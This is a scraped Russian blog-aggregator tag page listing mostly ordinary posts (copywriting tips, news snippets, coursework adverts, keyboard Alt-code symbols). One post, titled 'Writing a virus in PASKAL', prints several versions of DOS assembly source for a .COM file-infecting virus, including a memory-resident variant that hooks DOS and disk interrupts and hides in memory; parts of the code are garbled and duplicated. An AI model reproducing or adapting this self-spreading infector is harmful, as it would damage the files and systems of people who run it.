Случайны выбор дневника Раскрыть/свернуть полный список возможностей


Найдено 1731 сообщений
Cообщения с меткой

написать - Самое интересное в блогах

Следующие 30  »
nobudazi

Давайте трудиться

Вторник, 17 Мая 2016 г. 17:34 (ссылка)
infopolk.ru/1/U/articles/76...515a134e9d

Давайте трудиться


Эту статью я хотел написать давно, но как-то все откладывал. Все думал, писать или не писать. Если перефразировать: я не писатель, я читатель ...

Комментарии (0)КомментироватьВ цитатник или сообщество
Все_о_копирайтинге

Как написать цепляющий заголовок | Все о копирайтинге и не только

Четверг, 24 Марта 2016 г. 17:42 (ссылка)
k-o-p-i-r-a-i-t.ru/kak-napi...zagolovok/


Если вы уже имеете некоторый опыт написания статей, то вам необходимо знать, как написать цепляющий заголовок.




Если вы уже имеете некоторый опыт написания статей, то вам необходимо знать, как написать цепляющий заголовок.

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
Intafy

Микроновости » Бауманки.НЕТ

Среда, 23 Марта 2016 г. 07:31 (ссылка)
baumanki.net/news/novosti-s...vosti.html


Здравствуйте! Простите, что давненько ничего не писал - сложности одолевают, да ещё и ногу сломал, но ничего страшного, так что продолжаем работать. Итак, в этой статье я хотел бы написать о всех

Комментарии (0)КомментироватьВ цитатник или сообщество
oryoberta

Информационная война в отдельно взятой семье Политикус InfoPolk.ru

Воскресенье, 06 Марта 2016 г. 10:02 (ссылка)
infopolk.ru/1/U/articles/71...144a12aa01

Информационная война в отдельно взятой семье



Написать подобную статью толкнул банальный разговор по скайпу с родным братом, который ещё в 90-е уехал за границу в поисках счастья ...
Комментарии (0)КомментироватьВ цитатник или сообщество
ivapet

Информационная война в отдельно взятой семье

Воскресенье, 06 Марта 2016 г. 09:29 (ссылка)
infopolk.ru/1/U/articles/71...9efd14bb02

Информационная война в отдельно взятой семье


Написать подобную статью толкнул банальный разговор по скайпу с родным братом, который ещё в 90-е уехал за границу в поисках счастья ...

Комментарии (0)КомментироватьВ цитатник или сообщество
anob

Информационная война в отдельно взятой семье

Воскресенье, 06 Марта 2016 г. 05:28 (ссылка)
infopolk.ru/1/U/articles/71...5c6ab90332


Написать подобную статью толкнул банальный разговор по скайпу с родным братом, который ещё в 90-е уехал за границу в поисках счастья
...

Комментарии (0)КомментироватьВ цитатник или сообщество
ihorkip

Что написать девушке

Воскресенье, 31 Января 2016 г. 17:17 (ссылка)


Если ты не умеешь писать сообщения, на которые ответят женщины, не сумеешь договориться на свидание, то у тебя нет шанса на знакомство, которое может измениться в прочную связь.



Читать далее...
Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
vsemmoney

Игра "Слова" - Форумные игры - Форум о заработке в интернете и инвестициях

Среда, 27 Января 2016 г. 18:16 (ссылка)
vsemmoney.ru/topic/1843-igra-slova/


Игра "Слова" - отправлено в Форумные игры:

 



 

Если в конце попал к примеру Ъ, Ь или Ы, то выбира...

Комментарии (0)КомментироватьВ цитатник или сообщество
Совет1

Как написать статью

Суббота, 19 Декабря 2015 г. 05:16 (ссылка)

Существует несколько эффективных приемов, которые могут помочь любому человеку в процессе написания статьи ...Далее

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
Valeriya_v

Новогодняя стенгазете для детей детского сада начальных классов » ВамКоМне!

Пятница, 11 Декабря 2015 г. 11:25 (ссылка)
vamkom.com/material-dlya-sh...assov.html


Новогодняя стенгазета для детского сада, и начальной школы. Осталось только красиво все это разрисовать карандашами или красками. Написать в отведенном окошке красивое поздравление с Новым 2016

Комментарии (0)КомментироватьВ цитатник или сообщество
DJmp-3

The Chemodan - Абсурд и аллегория (2015)

Воскресенье, 06 Декабря 2015 г. 10:45 (ссылка)
djmp-3.com/rap/2012-the-che...-2015.html

The Chemodan - Абсурд и аллегория (2015)


 

Новый релиз от the Chemodan Clan, а по сути — сольный альбом Грязного Луи. Всю музыку на релиз писал FD Vadim, который так описывает процесс работы над альбомом: "Я поставил себе задачу написать непохожих друг на друга инструменталов, объединенных той же мистикой, магией и мрачной тайной, присущей манере исполнения Луи".

Комментарии (0)КомментироватьВ цитатник или сообщество
lenov_ru

Train driving simulator » Русский Google Play - игры Android без вирусов и регистрации

Суббота, 21 Ноября 2015 г. 09:03 (ссылка)
mod-hak.ru/game/simulators/...lator.html


Train driving simulator - Добро пожаловать в симулятор железной дороги! Ваша задача в этой игре управлять поездом и наблюдать за происходящим прямо из кабины машиниста. Перевозите пассажиров от

Комментарии (0)КомментироватьВ цитатник или сообщество
faiz2000

Волшебное слово на скидку: DEDMOROZ.ru-2016 Ограниченно! — Читать продолжение...

Четверг, 08 Октября 2015 г. 10:30 (ссылка)
vk-podari.ru/pisma-deda-mor...henno.html

Волшебное слово на скидку: DEDMOROZ.ru-2016 Ограниченно!
Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
Ира_Ивановна

Клавиатура NumLock для написания символов.

Вторник, 01 Сентября 2015 г. 07:46 (ссылка)

Это цитата сообщения Katya_Anciferova Оригинальное сообщение

Чтобы написать символ, воспользуйтесь NumLock клавиатурой.

Приветик. Согласитесь, но очень часто мы хотим написать какой-то символ в тексте, но не знаем как это сделать! Вот Вам небольшая подсказка!
Пользуйтесь на здоровье!

NZ9lk1E70pM (556x324, 113Kb)
Для этого установите курсор в нужное место, и с зажатым альтом наберите на боковой NumLock клавиатуре его код, после чего отпустите Alt.
Вот список некоторых часто применяемых символьных кодов:
0136 € Евро
0145 ‘ Перевернутый апостроф
0149 • Большая точка
0153 ™ Торговая марка
0167 § Параграф
0169 © Копирайт
0171 « Открывающая елочка
0174 ®
0176 ° Знак градуса
0177 ±
0183 · Точка по центру
0187 » Закрывающая елочка






Вот и последние денечки лета уходят от нас, а это значит, что скоро придет осень и пора подумать про обновление своего гардероба! Все девочки любят носить осенью и зимой валеночки, они никогда наверное не выйдут из моды, каждый год появляется что-то новенькое и хитовое. А Заказать угги можно тут - para-uggov.ru. Девочки, будьте в тренде этой осенью!
Метки:   Комментарии (1)КомментироватьВ цитатник или сообщество
kfat32

Пишем вирус на PASKAL

Среда, 26 Августа 2015 г. 11:19 (ссылка)

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
start: jmp vir; Передача управления
org 110h
vir: push ds; Сохраним DS ...
mov ax,ds ;регистр DS ...
db 05h ;Код команды
add_to_ds: dw 0 ; " ADD AX,00h "
mov ds,ax ;AX -> DS ...
fresh_bytes:
mov al,old_bytes
mov cs:[100h],al
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cx,80h ;
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
save_dta:
mov al,byte ptr cs:[bx];Читаем из DTA
mov ds:[si],al ;сим его в мас-
;сив ...
inc bx ;К новому байту
inc si ;
loop save_dta ;Цикл 128 раз
mov cs:[102h],al
find_first:
mov ah,4eh ;Поиск первого
mov cx,00100110b ;archive, system
;hidden
lea dx,maska ;Маска для поис-
int 21h
jnc r_3 ;Нашли !
jmp restore_dta ;Ошибка !
find_next: mov ah,3eh ;Закроем
int 21h ;ходящий файл...
jnc r_2
jmp restore_dta ;Файл нельзя

r_2: mov ah,4fh ;И найдем
int 21h ;дующий ...
jnc r_3 ;Файл найден !
jmp restore_dta ;Ошибка !

r_3: mov cx,12 ;Сотрем в
lea si,fn ;"fn" имя пред-
destroy_name: ;ыдущего
mov byte ptr [si],0 ;
inc si ;
loop destroy_name ;Цикл 12 раз
xor si,si ;И запишем в бу-
copy_name: mov al,byte ptr cs:[si+9eh];фер имя только
cmp al,0 ;что найденного
je open ;В конце имени в
mov byte ptr ds:fn[si],al;
inc si ;ит ноль, его мы
open:mov ax,3d02h; Открыть файлдля
lea dx,fn; Имя файла ...
int 21h
jnc save_bytes
jmp restore_dta ;Файл не
save_bytes:; Считаем три байта :
mov bx,ax; Сохраним дескриптор в
mov ah,3fh ;Номер функции
mov cx,3 ;Сколько байт ?
lea dx,old_bytes;Буфер для
int 21h
jnc found_size
jmp close ;Ошибка !
jmp copy_name ;и хотим
found_size:
mov ax,cs:[09ah] ;Найдем размерфайла
count_size:mov si,ax
cmp ax,64000 ;Файл длиннее
jna toto ;Нет ...
jmp find_next ;Да - тогда он не
toto: test ax,000fh ;Округлим размер
jz krat_16 ;до целого числа
or ax,000fh ;параграфов в
inc ax ;большую сторону
krat_16: mov di,ax;И запишем ок-
sub ax,3 ;Сама команда
mov byte ptr new_bytes[1],al
mov byte ptr new_bytes[2],ah
mov ax,di ;Сколько пара-
mov cl,4 ;графов содержит
shr ax,cl ;заражаемая про-
dec ax ;Учитываем
mov byte ptr add_to_ds,al
mov byte ptr add_to_ds+1,ah
mov ax,4200h ;Установим ука-
xor cx,cx ;затель на пос-
dec si ;ледний байт
mov dx,si ;файла ...
int 21h
jnc read_last
jmp close ;Ошибка !
read_last: ;И считаем
mov ah,3fh ;байт в ячейку
mov cx,1 ; " last " ...
lea dx,last
int 21h
jc close ;Ошибка !
cmp last,'7' ;" last " =" 7 "
jne write_vir ;Нет - дальше
jmp find_next ;Да- поищем
write_vir: mov ax,4200h
xor cx,cx ;затель на конец
mov dx,di ;файла ...
int 21h
jc close ;При ошибке -
mov ah,40h ;Запишем в
lea dx,vir ;ной vir_len
int 21h
jc close ;При ошибке -
write_bytes:
mov ax,4200h ;Установим
xor cx,cx ;затель на нача-
xor dx,dx ;ло файла
int 21h
jc close ;При ошибке -
mov ah,40h ;Запишем в
mov cx,3 ;первые три
lea dx,new_bytes ;та ( команду
int 21h ;перехода ) ...
close: mov ah,3eh ;
int 21h ;
restore_dta:
mov cx,80h ;
mov bx,80h ;
lea si,old_dta ;Адрес массива
dta_fresh:
mov al,ds:[si] ;
mov byte ptr cs:[bx],al;
inc bx ;К новому байту
inc si ;
loop dta_fresh ;Цикл 128 раз
pop ds ;
push cs ;
db 0b8h ;Код команды
jump: dw 100h ;mov ax,100h
push ax ;
retf ;
old_bytes db 0e9h ;
dw vir_len + 0dh ;
old_dta db 128 dup (0) ;
maska db '*.com',0 ;
fn db 12 dup (' '),0 ;
new_bytes db 0e9h ;
db 00h ;та вируса в
db 00h ;файле ...

last db 0 ;
db '7' ;
vir_len equ $-vir ;
prg_end: mov ah,4ch ;
INT 21H ;
db '7' ;
prg ends ;
end.


start
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
start: jmp vir
org 110h
vir: push ds ;
mov ax,ds ;регистр DS ...
db 05h ;Код команды
add_to_ds: dw 0 ;
mov ds,ax ;AX -> DS ...
fresh_bytes:
mov al,old_bytes
mov cs:[100h],al
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al
mov cx,80h ;
mov bx,80h ;
lea si,old_dta ;Адрес массива
save_dta:
mov al,byte ptr cs:[bx];
mov ds:[si],al ;
inc bx ;К новому байту
inc si ;
loop save_dta ;
find_first:
mov ah,4eh ;
mov cx,00100110b ;
archive, system;
hidden
lea dx,maska ;
int 21h
jnc r_3 ;Нашли !
jmp restore_dta ;Ошибка !
find_next: mov ah,3eh ;
int 21h ;ходящий файл...
jnc r_2
jmp restore_dta ;
r_2: mov ah,4fh ;
int 21h ;дующий ...
jnc r_3 ;Файл найден !
jmp restore_dta ;Ошибка !
r_3: mov cx,12 ;
lea si,fn ;"fn" имя пред-
destroy_name: ;
mov byte ptr [si],0 ;
inc si ;
loop destroy_name ;
xor si,si ;И запишем в бу-
copy_name: mov al,byte ptr cs:[si+9eh];
cmp al,0 ;
je open ;В конце имени в
mov byte ptr ds:fn[si],al;
inc si ;ит ноль, его мы
jmp copy_name ;
open: mov ax,3d02h ;
lea dx,fn ;Имя файла ...
int 21h ;Функция DOS
jnc save_bytes
jmp restore_dta ;
save_bytes: ;
mov bx,ax ;
mov ah,3fh ;Номер функции
mov cx,3 ;Сколько байт ?
lea dx,old_bytes ;
int 21h
jnc found_size
jmp close ;Ошибка !
found_size:
mov ax,cs:[09ah] ;
count_size:mov si,ax
cmp ax,64000 ;
jna toto ;Нет ...
jmp find_next ;
toto: test ax,000fh ;
jz krat_16 ;до целого числа
or ax,000fh ;параграфов в
inc ax ;большую сторону
krat_16: mov di,ax ;
sub ax,3 ;
mov byte ptr new_bytes[1],al
;Смещение найде-
mov byte ptr new_bytes[2],ah
;но !
mov ax,di ;Сколько пара-
mov cl,4 ;графов содержит
shr ax,cl ;заражаемая про-
;грамма ?
dec ax ;Учитываем дейс-
;твие директивы
;ORG 110h ...
mov byte ptr add_to_ds,al
;Корректирующее
mov byte ptr add_to_ds+1,ah
;число найдено !

mov ax,4200h ;Установим ука-
xor cx,cx ;затель на пос-
dec si ;ледний байт
mov dx,si ;файла ...
int 21h
jnc read_last
jmp close ;Ошибка !

read_last: ;И считаем этот
mov ah,3fh ;байт в ячейку
mov cx,1 ; " last " ...
lea dx,last
int 21h
jc close ;Ошибка !

cmp last,'7' ;" last " =" 7 "
jne write_vir ;Нет - дальше
jmp find_next ;Да- поищем дру-
;гой файл ...

write_vir: mov ax,4200h ;Установим ука-
xor cx,cx ;затель на конец
mov dx,di ;файла ...
int 21h
jc close ;При ошибке -
;закроем файл
mov ah,40h ;Запишем в файл
mov cx,vir_len ;код вируса дли-
lea dx,vir ;ной vir_len
int 21h
jc close ;При ошибке -
;закроем файл
write_bytes:
mov ax,4200h ;Установим ука-
xor cx,cx ;затель на нача-
xor dx,dx ;ло файла
int 21h
jc close ;При ошибке;закроем файл

mov ah,40h ;Запишем в файл
mov cx,3 ;первые три бай-
lea dx,new_bytes ;та ( команду
int 21h ;перехода ) ...
close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл ...
restore_dta:
mov cx,80h ;Размер DTA -
;128 байт ...
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
dta_fresh:
mov al,ds:[si] ;Читаем из мас-
;сива "old_dta"
mov byte ptr cs:[bx],al;байт и перено-
;сим его в DTA
inc bx ;К новому байту
inc si ;
loop dta_fresh ;Цикл 128 раз

pop ds ;Восстановим
;испорченный DS
push cs ;Занесем в стек
;регистр CS
db 0b8h ;Код команды
jump: dw 100h ;mov ax,100h
push ax ;Занесем в стек
;число 100h
retf ;Передача управ-
;ления на задан-
;ный адрес ...

;\*Data area ...

old_bytes db 0e9h ;Исходные три
;байта заражен-
dw vir_len + 0dh ;ной программы

old_dta db 128 dup (0) ;Здесь вирус
;хранит исходную
;DTA программы
maska db '*.com',0 ;Маска для поис-
;ка файлов ...
fn db 12 dup (' '),0 ;Сюда помещается
;имя файла -жер-
;твы ...
new_bytes db 0e9h ;Первые три бай-
db 00h ;та вируса в
db 00h ;файле ...

last db 0 ;Ячейка для пос-
;леднего байта
db '7' ;Последний байт
;вируса в файле

vir_len equ $-vir ;Длина вирусного
;кода ...

prg_end: mov ah,4ch ;Завершение за-
INT 21H ;пускающей программы ...
db '7';
prg ends;
end start.

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
start: jmp vir; Передача управления вирусному коду
org 110h
vir: db 0ebh ;90h - Для рези-
db push_len ;90h резидентной работы.
pushf ;Запишем флаги в стек ...
cmp cs:tg_infect-110h,1;Активизироваться ?
je cs:vir_2 ;Да ...
call dword ptr cs:old_28h - 110h
;Нет - вызовем
;старый обработ-
;чик INT 28h,
;чтобы не топить
;другие TSR ...
iret

vir_2: popf ;Переключаем
;стек для TSR -
;исполнения на
mov cs:ss_save-110h,ss ;себя ...
mov cs:sp_save-110h,sp
mov cs:help_word - 110h,cs
mov ss,cs:help_word - 110h
mov sp,to_newstack + 136
mov cs:tg_infect - 110h,0
pushf ;Вызываем старый
db 9ah ;обработчик
old_28h dw 0 ;INT 28h ...
old_28h_2 dw 0
db 0ebh ;90h - Для рези-
db push_len ;90h дентной
; работы .
;Переключаем
;стек для TSR -
;исполнения на
mov cs:ss_save-110h,ss ;себя ...
mov cs:sp_save-110h,sp
mov cs:help_word - 110h,cs
mov ss,cs:help_word - 110h
mov sp,to_newstack + 136
mov cs:tg_infect - 110h,0
pushf ;Вызываем старый
db 9ah ;обработчик
old_28h dw 0 ;INT 28h ...
old_28h_2 dw 0
pushf ;Сохраним в сте-
push ax ;ке регистры ...
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp cs:infect ;Перейти к заражению файлов
push_len equ $-vir - 2

mov ax,ds ;Корректируем DS
;для нерезидент-
;ной работы ...
db 05h ;Код команды
add_to_ds: dw 0 ;" ADD AX,00h "
mov ds,ax
mov ax,0f000h ;Проверим, есть
mov bx,1997h ;вирус в памяти,
int 2fh ;или еще нет ...
jc fresh_bytes

cmp al,0ffh
jne free_mem ;Нет -
;устанавливаем
fresh_bytes: ;Восстанавливаем
mov al,old_bytes ;первые три бай-
;та зараженной
mov cs:[100h],al ;программы ...
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al
Восстановить значения сегментных регистров:
mov ax,cs ;Восстанавливаем
;сегментные
mov es,ax ;регистры ...
mov start_cs,ax
mov ds,ax
И выполнить переход на начало этой программы:
jmp cl_conv_1 ;Передаем управ-
cl_conv_1: db 0eah ;ление заражен-
dw 100h ;ной программе
start_cs dw 0
free_mem: mov ah,4ah ;Определим объем
;доступной памя-
;ти ...
mov bx,0ffffh ;Заведомо невоз-
int 21h ;можное значение
;(0ffffh) !
;Ошибка будет
;обязательно, и
;проверять ее
;наличие
;не нужно !
sub bx,vir_par + 2 ;Оставим вирусу
;на 2 параграфа
;больше, чем
;он сам занимает
mov ah,4ah ;А остальная па-
int 21h ;мять будет
jc fresh_bytes ;занята ...

mov ah,48h ;Попросим DOS
;отдать свобод-
;ный блок нам .
mov bx,vir_par + 1 ;Запас в один
int 21h ;параграф ...
jc fresh_bytes ;Ошибка !
xor di,di ;Делаем вирус
mov bx,ax ;"невидимым" в
dec bx ;памяти ...
mov word ptr cs:[2],bx
mov es,bx
mov bx,0070h
mov es:[di+1],bx
;_________________________________________________
mov es,di ;Получаем векто-
;ра прерываний
cli
mov di,084h ;Int 21h ...
mov bx,es:[di]
mov old_21h,bx
mov bx,es:[di+2]
mov old_21h_2,bx

mov di,0bch ;Int 2fh ...
mov bx,es:[di]
mov old_2fh,bx
mov bx,es:[di+2]
mov old_2fh_2,bx

mov di,04ch ;Int 13h ...
mov bx,es:[di]
mov old_13h,bx
mov bx,es:[di+2]
mov old_13h_2,bx

mov di,0a0h ;Int 28h ...
mov bx,es:[di]
mov old_28h,bx
mov bx,es:[di+2]
mov old_28h_2,bx
sti

mov word ptr vir,9090h ;Подготавливаем
mov tg_infect,0 ;вирус к рези-
;дентной работе

mov es,ax ;И копируем его
xor di,di ;в память...
mov cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov byte ptr es:[di],bl
inc di
loop prg_copy


xor bx,bx ;Устанавливаем
;вектора преры-
mov es,bx ;ваний на вирус-
cli ;ные обработчики
mov di,084h
mov word ptr es:[di],to_new_21h
mov es:[di+2],ax ; Int 21h

mov di,0bch
mov word ptr es:[di],to_new_2fh
mov es:[di+2],ax ; Int 2fh

mov di,04ch
mov word ptr es:[di],to_new_13h
mov es:[di+2],ax ; Int 13h

mov di,0a0h
mov word ptr es:[di],0
mov es:[di+2],ax ; Int 28h
sti

jmp fresh_bytes ;Установка
;завершена ...
infect: push cs ;DS = CS ...
pop ds

mov ax,ds ;TSR - коррекция
sub ax,11h ;DS ...
mov ds,ax

cmp tg_13h,0 ;INT 13h
;выполняется ?
je cs:all_right ;Нет ...
jmp cs:exit_zarasa ;Да - на выход

all_right: mov ah,2fh ;Получим текущую
int 21h ;DTA ( ES : BX )

mov bp,bx

mov cx,80h ;Сохраним эту
lea si,dta_save ;DTA ...
mov di,bp
save_dta:
mov al,byte ptr es:[di]
mov [si],al
inc si
inc di
loop cs:save_dta

find_first: ;Найдем первый
mov ah,4eh ;файл ...
mov cx,00100111b
lea dx,maska
int 21h
jnc cs:retry_2
jmp restore_dta

find_next: mov ah,3eh ;Закроем непод-
int 21h ;ходящий файл
jnc cs:retry_1
jmp cs:restore_dta

retry_1: mov ah,4fh ;Найдем следую-
int 21h ;щий ...
jnc cs:retry_2
jmp cs:restore_dta

retry_2: mov cx,12 ;Сотрем старое
lea si,fn ;имя в буфере
destroy_name:
mov byte ptr [si],0
inc si
loop cs:destroy_name

xor si,si ;И запишем туда
mov di,bp ;новое ...
copy_name: mov al,byte ptr es:[di+1eh]
cmp al,0
je cs:check_command
mov byte ptr fn[si],al
inc si
inc di
jmp cs:copy_name

check_command:
;Проверим, не
;является - ли
call cs:search ;файл командным
cmp inside,1 ;процессором...
je cs:retry_1

mov ax,3d02h ;Откроем этот
lea dx,fn ;файл ...
int 21h
jnc cs:save_bytes
jmp cs:restore_dta

save_bytes: ;Считаем первые
mov bx,ax ;три байта
mov ah,3fh
mov cx,3
lea dx,old_bytes
int 21h
jnc cs:found_size
jmp cs:close

found_size:mov di,bp
cmp word ptr es:[di+01ch],0
jne cs:more_64K ;Найдем его раз-
mov ax,es:[di+01ah] ;мер ...

count_size:mov si,ax ;Вычислим
;смещения ...
cmp ax,64000
jna cs:smallest
more_64K: jmp cs:find_next
smallest: test ax,000fh
jz cs:krat_16
or ax,000fh
inc ax
krat_16: mov di,ax
sub ax,3
mov byte ptr new_bytes[1],al
mov byte ptr new_bytes[2],ah
mov ax,di
mov cl,4
shr ax,cl
dec ax
mov byte ptr add_to_ds,al
mov byte ptr add_to_ds+1,ah

mov ax,4200h ;Считаем послед-
xor cx,cx ;ний байт ...
dec si
mov dx,si
int 21h
jnc cs:read_last
jmp cs:close

read_last:
mov ah,3fh
mov cx,1
lea dx,last
int 21h
jc cs:close

cmp last,'1' ;Индикатор зара-
jne cs:write_vir ;жения ...
jmp cs:find_next

write_vir: mov ax,4200h ;Запишем начало
xor cx,cx ;вируса ...
mov dx,di
int 21h
jc cs:close

mov ah,40h
mov cx,2
lea dx,end_file
int 21h
jc cs:close
;И остальную
mov ah,40h ;часть ...
mov cx,vir_len - 2
lea dx,vir + 2
int 21h
jc cs:close

write_bytes: ;Запишем первые
mov ax,4200h ;три байта
xor cx,cx
xor dx,dx
int 21h
jc cs:close

mov ah,40h
mov cx,3
lea dx,new_bytes
int 21h

close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл

restore_dta:
mov cx,80h ;Восстановим DTA
lea si,dta_save
mov di,bp
dta_fresh:
mov al,[si]
mov byte ptr es:[di],al
inc si
inc di
loop cs:dta_fresh
exit_zarasa: ;Восстановим
;регистры
;процессора ...
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
mov ss,cs:ss_save-110h ;Восстановим
mov sp,cs:sp_save-110h ;стек ...
iret
new_13h: jmp cs:start_13h

tg_13h db 0
ax_13h dw 0
cs_13h dw 0
ip_13h dw 0

start_13h: mov cs:tg_13h - 110h,1
pushf
db 9ah ;Код команды
old_13h dw 0 ; " CALL " ...
old_13h_2 dw 0
mov cs:ax_13h - 110h,ax;Поместим новый
pop ax ;флаг на место
mov cs:ip_13h - 110h,ax;старого ( CF )
pop ax
mov cs:cs_13h - 110h,ax
pop ax
pushf
mov ax,cs:cs_13h - 110h
push ax
mov ax,cs:ip_13h - 110h
push ax
mov ax,cs:ax_13h - 110h
mov cs:tg_13h - 110h,0
iret

to_new_21h equ $-vir

new_21h: jmp cs:start_21h

tg_infect db 0

start_21h: pushf
push di
push es
xor di,di ;Перехват
mov es,di ;INT 24h в рези-
mov di,90h ;дентном режиме
mov word ptr es:[di],to_new_24h
mov es:[di+2],cs
cmp ah,03bh ;Активизировать
;вирус ?
jne cs:new_cmp_1
mov cs:tg_infect-110h,1;Да - взводим
;триггер ...
new_cmp_1: cmp ah,00eh
jne cs:to_jump
mov cs:tg_infect - 110h,1
to_jump: pop es
pop di
popf
db 0eah ;Переход на ста-
old_21h dw 0 ;рый обработчик
old_21h_2 dw 0 ;INT 21h ...

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
Intafy

Скайп-образование » Бауманки.НЕТ

Среда, 12 Августа 2015 г. 22:36 (ссылка)
baumanki.net/news/novosti-o...vanie.html


Небольшая статья посвящённая интернет образованию и преимущественно с использованием скайпа. Я сторонник современных технологий, но, честно говоря, по скайпу у меня плохо получалось преподавать. Как

Комментарии (0)КомментироватьВ цитатник или сообщество
avtobakero

Облигация | Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,доклады,аналитика |Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи MegaMillions,Powerball,EuroMillions

Понедельник, 14 Июля 2015 г. 00:35 (ссылка)
bakero.ru/referats/obligation.php


Облигация,эмиссионная ценная бумага,эмитент облигации,купонный доход,номинальная стоимость,имущественный эквивалент,процент от номинальной стоимости облигации,дисконт,процент,доход,Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,доклады,аналитика,Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи MegaMillions,Powerball,EuroMillions,La Primitiva,определения,термины,понятия,дефиниции,рынок ценных бумаг,фондовая биржа,Закон О рынке ценных бумаг

Комментарии (0)КомментироватьВ цитатник или сообщество
avtobakero

Закладная, ипотека, залог имущества | Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,доклады,аналитика |Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи MegaMilli

Понедельник, 14 Июля 2015 г. 00:33 (ссылка)
bakero.ru/referats/zakladnaya.php


Закладная,ипотека,залог имущества,Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,доклады,аналитика,Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи MegaMillions,Powerball,EuroMillions,La Primitiva,определения,термины,понятия,дефиниции,рынок ценных бумаг,фондовая биржа,Закон Об ипотеке,трейдинг,дивиденд,прибыль,заемщик,должник,залогодержатель,владелец закладной,ипотечный сертификат участия,кредитор,ипотечный кредит,ипотечный калькулятор,ипотечный брокер,ипотечный агент,mortgage,ипотечные фонды,кредит под залог недвижимости,недвижимость,недвижимое имущество

Комментарии (0)КомментироватьВ цитатник или сообщество
avtobakero

Акция | Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,доклады,аналитика |Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи MegaMillions,Powerball,EuroMillions,La

Понедельник, 13 Июля 2015 г. 08:42 (ссылка)
bakero.ru/referats/stock.php


Акция,Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,доклады,аналитика,Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи MegaMillions,Powerball,EuroMillions,La Primitiva,определения,термины,понятия,дефиниции,рынок ценных бумаг,фондовая биржа,Закон О рынке ценных бумаг,эмиссия,эмитент,эмиссионная ценная бумага,именная ценная бумага,stock,share,New York Stock Exchange,трейдинг,дивиденд,прибыль,акционерное общество

Комментарии (0)КомментироватьВ цитатник или сообщество
avtobakero

Конституционная монархия в Англии в XVII-XVIII веках | Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право |Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи

Вторник, 07 Июля 2015 г. 08:29 (ссылка)
bakero.ru/referats/england.php


Англия,Великая хартия вольностей,огораживание,Habias Corpus act,Билль о правах,Конституционная монархия в Англии в XVII-XVIII веках,Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,история государства и права зарубежных стран,история государства и права России,юриспруденция,обучение,образование,институт,университет,академия,Оливер Кромвель,королева Англии,Долгий парламент

Комментарии (0)КомментироватьВ цитатник или сообщество
Владимир_Фомин

Два способа фокусирования на целях | Азбука Безопасности

Суббота, 13 Июня 2015 г. 12:32 (ссылка)
azbukabez.ru/sovety/5732-dv...a_tselyah/

Сегодня мы поговорим о двух разных способах фокусирования на целях.Любую задачу, дело, цель (действие) мы можем рассматривать с точки зрения ЗАЧЕМ мы хотим это делать или ЧТО КОНКРЕТНО нам н
Комментарии (0)КомментироватьВ цитатник или сообщество
lenov_ru

TouchPal Keyboard + Free Emoji » Русский Google Play - игры Android без вирусов и регистрации

Среда, 29 Апреля 2015 г. 10:48 (ссылка)
mod-hak.ru/apps/synchroniza...emoji.html


TouchPal Keyboard + Free Emoji - Отличная клавиатура на андроид, которая имеет расширенный функционал. Ее особенность – умение набирать текст, не отрывая палец от экрана. Кроме того, в верхней части

Комментарии (0)КомментироватьВ цитатник или сообщество

Следующие 30  »

<написать - Самое интересное в блогах

Страницы: [1] 2 3 ..
.. 10

LiveInternet.Ru Ссылки: на главную|почта|знакомства|одноклассники|фото|открытки|тесты|чат
О проекте: помощь|контакты|разместить рекламу|версия для pda